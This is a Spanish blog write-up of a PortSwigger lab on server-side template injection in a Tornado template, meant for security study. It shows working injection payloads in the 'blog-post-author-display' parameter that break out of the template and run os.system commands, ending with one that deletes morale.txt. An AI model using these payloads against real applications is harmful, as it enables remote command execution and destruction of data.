Blog/Basic server-side template injection (code context)
Basic server-side template injection (code context)
Portswigger › Portswigger Labs › SSTI

Certificaciones
- eWPT
- eWPTXv2
- OSWE
- BSCP
Descripción
Este laboratorio es vulnerable a un Server Side Template Injection debido a la forma insegura en que utiliza una plantilla de Tornado. Para resolver el laboratorio, hay que revisar la documentación de Tornado para descubrir cómo ejecutar comandos y luego eliminar el archivo morale.txt del directorio personal de Carlos. Podemos iniciar sesión en nuestra propia cuenta utilizando las siguientes credenciales: wiener:peter
Guía de SSTI
Antes de completar este laboratorio es recomendable leerse esta guía de SSTI https://justice-reaper.github.io/posts/SSTI-Guide/
Resolución
Al acceder a la web nos sale esto

Pulsamos en My account y nos logueamos usando las credenciales wiener:peter

Al loguearnos vemos esto

Si nos metemos en cualquier artículo veremos que podemos comentar

En la parte de My account cambiamos el Preferred name

El nombre en el chat también cambia

Si capturamos la petición de cambio de nombre en Preferred name vemos que se está enviando un objeto

Hacemos referencia a una propiedad del objeto inexistente
blog-post-author-display=user.NO_EXISTE&csrf=IXe3uTQJV2yzx6Rqz6N0EbMOf8ZkMUQ6
Si nos dirigimos a la parte de las publicaciones obtendremos un error mediante el cual podemos identificar el template que se está usando

Nos dirigimos a hacktricks https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#tornado-python, probamos los payload para esta plantilla y vemos que funciona
blog-post-author-display={{7*7}}&csrf=IXe3uTQJV2yzx6Rqz6N0EbMOf8ZkMUQ6

Nos vamos a https://www.tornadoweb.org/en/stable/guide/templates.html y observamos que los objetos se cargan entre {{ }}

Enviamos este payload
blog-post-author-display=}}{% import os %}{{os.system('whoami')&csrf=IXe3uTQJV2yzx6Rqz6N0EbMOf8ZkMUQ6
Obtenemos este error

Probamos este payload en el que hacemos referencia al objeto user
blog-post-author-display=user.name}}{% import os%}{{os.system('ls')&csrf=IXe3uTQJV2yzx6Rqz6N0EbMOf8ZkMUQ6
Vemos que se ha listado el archivo morale.txt

Borramos el archivo morale.txt y resolvemos el laboratorio
blog-post-author-display=user.name}}{% import os%}{{os.system('rm morale.txt')&csrf=IXe3uTQJV2yzx6Rqz6N0EbMOf8ZkMUQ6